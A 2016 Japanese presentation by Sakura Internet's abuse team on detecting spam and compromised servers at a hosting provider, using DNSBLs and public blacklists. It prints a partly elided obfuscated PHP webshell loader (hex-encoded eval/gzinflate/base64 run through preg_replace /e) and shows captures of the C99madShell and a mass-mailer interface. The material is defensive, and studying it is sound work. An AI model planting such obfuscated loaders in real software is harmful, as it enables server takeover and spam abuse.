

不正行為検出・対策について ホスティング事業者の取り組み

さくらインターネット株式会社 abuse対策チーム 山下健一

2016年10月4日

(C)Copyright 1996-2016 SAKURA Internet Inc.

通信事業者として遵守すべき法規

- 通信の秘密・電気通信事業法
- データの保護・お客様の情報資産・プライバシー

法的義務であるので「守らなければならない」だけでなく、サービス・企業イメージ維持向上のためにも「積極的に守っていくべき」

置かれている現状

- サービス価格低下とともにユーザーの数・層が変化
- 意図せず不正行為の踏み台に利用されてしまうユーザー
- 意図して不正行為を働くユーザー
- いまさら鎖国するのか

事業者としてどのように不正行為を検出、対策しているのか
その手法・内情をご説明いたします

共有ホスティングサービス

- さくらのレンタルサーバ

- 2013年3月 さくらのレンタルサーバ 契約件数30万件突破

http://www.sakura.ad.jp/press/2015/0827_vps-5th/

専用ホスティング・仮想化ホスティングサービス

- さくらのクラウド

- さくらのVPS

- 2015年8月 さくらのVPS 利用中件数 75,000件突破

http://www.sakura.ad.jp/press/2015/0827_vps-5th/

- さくらの専用サーバ

- 2009年4月 専用サーバ稼働数が 10,000台突破

http://www.sakura.ad.jp/press/2009/0422_dedicated_server_10000.html

・ さくらのレンタルサーバ

ライト	スタンダード 人気No.1	プレミアム	ビジネス	ビジネスプロ
<p>広告なしブログ、シンプルにホームページを運用したい方へ！</p> <p>容量 10GB</p> <p>月額換算 129円 (年間料金 1,543円)</p> <p>2週間お試し無料！ お申し込みはこちら</p> <p>PHP4/PHP5</p> <p>マルチドメイン</p> <p>メールアドレス無制限</p> <p>SQLite</p> <p>-</p> <p>-</p>	<p>WordPress、EC-CUBE、独自SSL※対応の人気No.1プラン！ ※SNI SSL</p> <p>容量 100GB</p> <p>月額 515円</p> <p>2週間お試し無料！ お申し込みはこちら</p> <p>PHP4/PHP5</p> <p>マルチドメイン</p> <p>メールアドレス無制限</p> <p>SQLite</p> <p>WordPress</p> <p>EC-CUBEなどのCMS</p> <p>MySQL 複数利用</p>	<p>動画や画像など多くのファイルを公開したい方へ！</p> <p>容量 200GB</p> <p>月額 1,543円</p> <p>お申し込みはこちら</p> <p>WordPress</p> <p>EC-CUBEなどのCMS</p> <p>MySQL 複数利用</p>	<p>複数人管理可能！サイトの運用・更新を外部委託しやすい法人向けプラン！</p> <p>容量 300GB</p> <p>月額 2,571円</p> <p>お申し込みはこちら</p> <p>WordPress</p> <p>EC-CUBEなどのCMS</p> <p>MySQL 複数利用</p>	<p>充実のセキュリティ！独自SSL対応でビジネスを強力にサポート！</p> <p>容量 500GB</p> <p>月額 4,628円</p> <p>お申し込みはこちら</p> <p>WordPress</p> <p>EC-CUBEなどのCMS</p> <p>MySQL 複数利用</p>

- ・ 2週間お試し期間
- ・ PHP4/PHP5
- ・ メールアドレス無制限
- ・ 各種CMS利用可能

- DNSBLをモニター

レンタルサーバのIPアドレスをDNSBLに問い合わせ、登録されていないかモニター

- The Spamhouse Block List (SBL)
- Spam and Open Relay Blocking System (SORBS)
- Barracuda Reputation Blocklist (BRBL)

- 登録検知をトリガーにSPAM送信原因調査

- 大半が SMTP Auth パスワードクラック被害
とにかく多い！
- ほかに . . .

なんだよこれ……。(`A`)

```
<?php
$auth_pass = "b5b55ece****".97e8893189b7ef30****";
$color = "#df5";
$default_charset = 'Windows-1251';
extract(array("default_action" => 'FilesMan', 'default_use_ajax' => true));
$BB =
"¥x65¥x76¥x61"."¥x6C¥x28¥x67¥x7A¥x69"."¥x6E¥x66¥x6C¥x61¥x74¥x65¥x28"."¥x62¥x61¥x73¥x65¥x36¥x34"."¥x5F¥x64¥x65¥x63¥x6F"."¥x
64¥x65¥x28'7XZZZ1re9s2z/DZZZn9VcwmjfZq+PYTtu7s2MnaZZZQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xR
VnNILui4XZZZ06d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXZZZbHCtPQCbYHzjgKWYtZQWDZZZdFo3XZZZvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgl8
/GKNe84N/jqxR10PEktN5vaZZZLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXZZZowDZZZ0nKFLuWq1SZc+qz9iRH7F9fzrumVCvc+NGTXZZZ
YP/9tyx24ndKKi6QSBH3Q8f2Cwj84PDZZZwEqyYPUDZZZuWHZrmq5Yysm45z49jTyPXZZZHncgd0QICcumz47kjNyrGaZZZSNr4NqdP6d+5ISdYDZZZpGGJ7bc
/ruGNr96fS4A607PTg+gsaZZZaZZZ9cpzk3fVIF18MLGL10L+dGwjAQzKh1HgTkLPCodOWCzQSCFI4ETTYMzcsMMHT+Zs8sEExB0qWi20fS3AGiwPL/ZhofPh+
PQMmCJTn2UATKGzc3z87mAvF4ZnEaZZZaZZZ4FbPQP/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2+H4zYyImGfq818c0o/cEKw5kf9Bpswx1PphGLbid0aZZZy
JS2dgaZZZ8aZZZ+2mh10uzA87Nrypk7LbLfn9sYaZZZYoy/UGXZZZb0A1DZZZ8p3I9v0rIKpwBd1zTZNDZZZtOKicPUNG1m4brIMGOJxk+lmtaZZZNhB6mh8YM
MN0R+4n!
```

中略

```
72z0q73MVJlq1lUgHw1pbrMeL46k/+UG9aZZZx73J8pjWZeaZZZs7fZnUxMHsSEHFrvnMqDZZZb7qSIxZZZMSzK8R+fyNZilaZZZ+GQXZZZUycwPuWKNPwLYs
P6NXZZZL5j6jgShibdJ6bXZZZ39PykdTHYDZZZfiIfv3hm42zZ0072pMZsWaZZZq5sMwtii205bZT+GDZZZNb6nwtlvumZPABid774/P9jrbu7sneHg2oA/+i/
0mjQKZ28A4WEbiaZZZ0kMg+VCRJLMTDZZZHH6FMQWOYHkJJ555Jkw2kSL1SGPJ2V1Fixs/KW9nZkEwPRI5rOhIdpXZZZpAGZFW6M0wXZZZjbVoNFnrTioTzyir
uwUKJhh3pMV4NA8DZZZx4w10Cyt6mG19lrPuV5DZZZhqFibuxn1GpDZZZz3EmxVoi10sCGtaZZZRhAwXJiGzpjfsbzYInAnjZNHTNyijGwi1QkElVKpLzXZZZm
ttN0ttEUrNXZZZlrUUPt3IYaZZZmtI/52W24tbbsctf6QUerIth/tLvQsBHGo175kaZZZU/LwwYP4ZDZZZjp0fCRy6XZZZhl3hvU0aZZZKT8rGB4XZZZV7E+n
xx2YoqcHx0eQG1p9ZwTMS11b7thFV5WiicmdET3qyuIYbU4Agjc91mCpzzk5MCOz70Hc58T0t3hQDZZZOXZZZ2hQeV7fCeolNq9ulb+iR9aZZZwo80ZtZXZZZK
2r56dUYJbQgDZZZn2wbjvy2c5cgh8gAi9LbaZZZFz71C13SwzDZZZxAYT72vwA='¥x29¥x29¥x29¥x3B';
```


```
$AA = str_replace("ZZZ", "", $BB);
```

```
$CC = "/.*\/e";
```

```
preg_replace($CC,$AA,".");
```

```
?>
```

ブラウザで開くとこんなのだったり……



!C99madShell v. 3.0 BLOG edition!

Software: Apache/2.2.25
System: FreeBSD www23[redacted].sakura.ne.jp 9.1-RELEASE-p24 FreeBSD 9.1-RELEASE-p24 #0: Thu Feb 5 10:03:
User/Group: [redacted]/users
Php version: 5.2.17
Php modules: mysql, mysqli, curl
Install program: gcc, cc, ld, php, perl, python, ruby, make, tar, nc, locate, wget, fetch, lynx, curl, lwp-mirror, lwp-download
Allow_url_fopen: ON
Allow_url_include: OFF
Safe-mode: OFF (not secure)
Patch: [xmlrpc1](#) [xmlrpc2](#) [admin_ajax](#) [blog_name_sql](#) [tb_id](#)
Trojan: [index](#) [wp-blog-header](#) [wp-config](#) [wp-settings](#) [template-loader](#) [template](#)
/home/[redacted]/www/[redacted]/wp-content/uploads/ [draw](#)

Search PHP-code Self remove

Listing folder (4 files and 4 folders):

Name	Size	Modify	Owner/Group	Perms	Action
.	LINK	10.02.2015 13:50:20	[redacted]/users	drwx--r-x	<input type="checkbox"/>
..	LINK	27.02.2015 01:29:44	[redacted]/users	drwx--r-x	<input type="checkbox"/>

Select all Unselect all With selected: [v] Confirm

:: Command execute ::

:: Enter :: Execute

:: Select :: Execute

:: Search :: - regexp Search

:: Upload :: [参照...](#) ファイルが選択されていません。 [\[ok\]](#)

:: Make Dir :: Create

:: Make File :: Create

こんなのだったりするのです。

Inbox Mass Mailer

Your Email: Your Name:

Reply To: Attach File: ファイルが選択されていません。

Subject:

Plain Text HTML

?© Inbox Mass Mailer 2008



- 問題ファイルの削除までは速やかに出来る
- 問題ファイルがなぜ設置されたか、設置経路の原因対策がお客様自力では困難な場合が多い
- 再発する
- 再発して対策、再発して対策、繰り返しになりやすい

- 意図したSPAM送信に利用される例はないか？
 - SPAM本文には大抵なにかのURLが記載されている。
 - URL=ドメイン（レジストラ+DNS） + ウェブサーバが必要

abuse@sakura.ad.jp に届く SPAM通報の例

- ドメインは他社、ウェブサイトも他社、SPAM発信はさくら
- ドメインは他社、ウェブサイトがさくら、SPAM発信は他社
- ドメインは他社、ウェブサイトも他社、SPAM配信も他社、URL転送サービスがさくら内
- ドメインは他社、ウェブサイトも他社、SPAM配信も他社、全部他社で苦情届け先にさくらを誤爆
- 他の事業者様も対策に苦勞している様子

- 一定時間内の送信可能メール通数を制限
 - 意図的なSPAM送信対策効果
- 外部レジストラ登録ドメインの持込を禁止
 - お試し期間中の制限事項・スパマーのウェブサイト公開対策
- 日本国外IPアドレスのフィルタリング
 - SMTP Auth パスワードクラック被害軽減効果

- さくらのクラウド
- さくらのVPS
- さくらの専用サーバ

- 管理者（root, administrator）権限をお貸し出し
- OSもISOファイルから自由にインストール可能



『ブラックジャックによろしく』
2006, 佐藤秀峰・著, 漫画 on web



『ブラックジャックによろしく』
2006, 佐藤秀峰・著, 漫画 on web

- 共有ホスティング(さくら管理)
 - 外科手術ができる
 - HTML, PHP, 必要を認めるならソースを読むことも可能
 - access_log, maillog だって読めちゃう！
- 専有ホスティング(お客様管理)
 - 外から眺めるだけ。
 - 通信の秘密を守らねばならず、問題調査において不正アクセスと疑われうる手法も避けなければならない。
 - 内科診察で言うところの触診や聴診に例えられうる調査も可能な範囲に制限がある。
- では、どーやって調査診断するのか

- たとえばDNSBLは使えるか？ 使えない
- 問題の検出日時がわからない
- 問題のメールの詳細が一切わからない
- 継続しているのか収束しているのか再発したのかわからない
- 1IPずつブラックリスト団体のウェブサイトの詳細確認とか無理

Project Honey Pot (<https://www.projecthoneypot.org/>)



PROJECT HONEY POT tm BETA

Welcome to Project Honey Pot | [Login](#)
[Fund the Cause](#) | [Buy Swag](#)
[Refer a Friend](#)
[Terms of Use](#)

Home IP Data Statistics Services Help About

Directory of IPs Lookup IP Harvesters Spam Servers Dictionary Attackers Comment Spammers

IP Address Inspector

Please note: being listed on these pages does not necessarily mean an IP address, domain name, or any other information is owned by a spammer. For example, it may have been hijacked from its true owner and used by a spammer.

Want to keep this IP address off your website? Start taking advantage of [http:BL](#).

If you are the owner of this IP address, you can whitelist it by connecting to this page from the IP itself (or from an IP within /24). Alternatively, the IP will be auto excused after 90 days of no activity.

49.212.██.██ 

The Project Honey Pot system has detected behavior from the IP address consistent with that of a [mail server](#) and [dictionary attacker](#). Below we've reported some other data associated with this IP. This interrelated data helps map spammers' networks and aids in law enforcement efforts. If you know something about this IP, please [leave a comment](#).

Lookup IP In: [Domain Tools](#) | [SpamHaus](#) | [Spamcop](#) | [SenderBase](#) | [Google Groups](#) | [Google](#)

Geographic Location  **Japan**

First Received From approximately 3 weeks ago

Last Received From within 1 week

Number Received 22 email(s) sent from this IP

[Top Mail Server List](#)

Dictionary Attacks 6 email(s) sent from this IP

```
# mail.example.com (192.168.1.3)
$ dig +short ${API_KEY}.3.1.168.192.dnsbl.httpbl.org
127.1.20.1
```

- API Key を取得することで dig等コマンドを用いSPAM検出を問い合わせ可能
 - 多数のIPを一気に問い合わせることができる
- 第二オクテットは最新SPAM検出後の経過日数
 - 最新検出日情報がわかることが重要
- http://www.projecthoneypot.org/ip_192.168.1.3 形式のURLでSPAM検出の詳細情報を閲覧可能

CleanTalk (<https://cleantalk.org/>)

- ウェブサイトのコメントスパム対策
- 幅広いCMSに対応
- WordPressに対応し利用者が多い
- ブロック日時・履歴を公開



CleanTalk (<https://cleantalk.org/blacklists/AS9370>)

AS9370 SAKURA Internet Inc.

ASN:

#	ASN, Organization name	Country	Detected IP addresses	Spam active IP addresses	Spam rate
1	AS9370 SAKURA Internet Inc.	Japan	316 416	215	0.07%

Spam activity log



SPAM active IP addresses in AS9370 SAKURA Internet Inc.

#	Sender IP	Detected	Last seen	Reported as spam
1	160.16.███.███	2016-10-01 02:58:08	2016-10-03 03:57:08	27
2	153.125.███.███	2016-09-27 07:45:58	2016-09-28 12:17:42	28
3	160.16.███.███	2016-09-05 16:55:52	2016-09-12 17:16:54	33
4	160.16.███.███	2016-08-30 05:16:24	2016-09-02 17:06:15	31
5	160.16.68.███	2016-08-27 15:17:01	2016-09-13 05:47:06	51
6	160.16.215.███	2016-08-20 21:58:03	2016-08-20 21:55:53	4

Blocklist.de (<https://www.blocklist.de/en/search.html?as=9370>)



The screenshot shows the Blocklist.de website interface. At the top, there is a navigation bar with icons for Search, Delist, Partners, Statistics, Downloads, API - DNS, Export IP-List, Register, and a lock icon. The main content area is titled "Search for IP or AS-numbers on blocklist.de". Below the title, there is a search result for AS9371, showing 6 matches in the last 14 days. The results are displayed in a table format with the following fields:

IP-Address:	49.212.█.█	History and Attacks
Host:	49.212.█.█	
AS-Network:	SAKURA-C SAKURA Internet Inc., JP	
AS-Nr:	AS9371	
Service:	bruteforcelogin	
Last attack:	29.09.2016 00:21:19 (on srv21.de)	
Attacks count:	2 (this month) / 2 (complete time)	

- CleanTalk は各種CMSに導入できるコメントスパム対策モジュール
コメントスパム発信元IPアドレスとコメントスパム検出日時を公開
- Blocklist.de は Bruteforce アタック対策のために Linux/Unix 環境に
導入できるソフトウェア “fail2ban” がbanした通信元IPアドレスをブ
ラックリスト化して公開

検出数/最新検出日時情報が公開されていることから、
お客様への説明に利用しやすい

- ブラックリストの情報を鵜呑みにするわけではない
 - 各ブラックリストの検出感度(検出の速さ)・検出内容・信頼性(誤検出有無)は時間をかけて評価する必要がある
 - 複数の情報を組み合わせることで信頼性を確認
 - Project Honey Pot は各種DNSBLと組み合わせる
 - CleanTalk は StopForumSpam (<https://stopforumspam.com/>) と組み合わせる
 - BlockList.de は OpenBL (<https://www.openbl.org/>) と組み合わせる
- ブラックリストそれぞれを個別に確認するのは手間がかかる
- 複数ブラックリストの横断確認は FireHOL (<http://iplists.firehol.org/>) が便利
 - 各種ブラックリストの情報を収集、GitHub に公開
<https://github.com/firehol/blocklist-ipsets>

- DoS・DDoS発信
- SSH/SMTP宛等のブルートフォースアタック
- コメントスパム
- フィッシングサイト・マルウェア
- オープンプロキシ、SPAMボット、クラックされたサーバの検出に効果
- 直接検出できない
 - C&Cサーバ、ゾンビサーバ
 - 標的型攻撃メールの送信

ファイルアップロード可能な脆弱性があるなら結局は同じこと

- さくらインターネット社内利用IPも散発検出
 - 開発担当者・サポート担当者の検証環境
 - お客様向け試用・検証用一時提供環境
 - バックオフィス

- 世間一般のサーバ・サイト管理者の場合も同様ではないか？
 - 試用・検証環境は管理が甘い

- CMSアップデートしましょう（プラグインも同様）
 - ウェブサイト公開しかしてないし、メールサーバ運用してないから、SPAM発信なんてウチ関係ないもん、とはならない
 - 変なデータやプログラムが勝手に置かれていませんか
- ちゃんとパスワードつけましょう
試験環境やテナンラリ環境も同様に！
- サーバにはファイアウォールを設定しましょう
 - 問題発生後にファイアウォール設定しても効果はない
 - 意図せず公開状態になっているポートがありませんか
- 野良サーバーありませんか

- 事業者として警戒しつつも、問題検出には限界がある
- 外部からの苦情通報が重要（ホスティング他社様も同様と思われる）
- 弊社に通報いただく外部組織・機関様の例
 - インターネットホットラインセンター（違法情報）
 - 日本データ通信協会（SPAM）
 - JPCERT/CC（Web改ざん・DoS・不正アクセス等）
- IPA/情報処理推進機構ウェブサイト
「身近な情報セキュリティ相談窓口」の紹介コンテンツ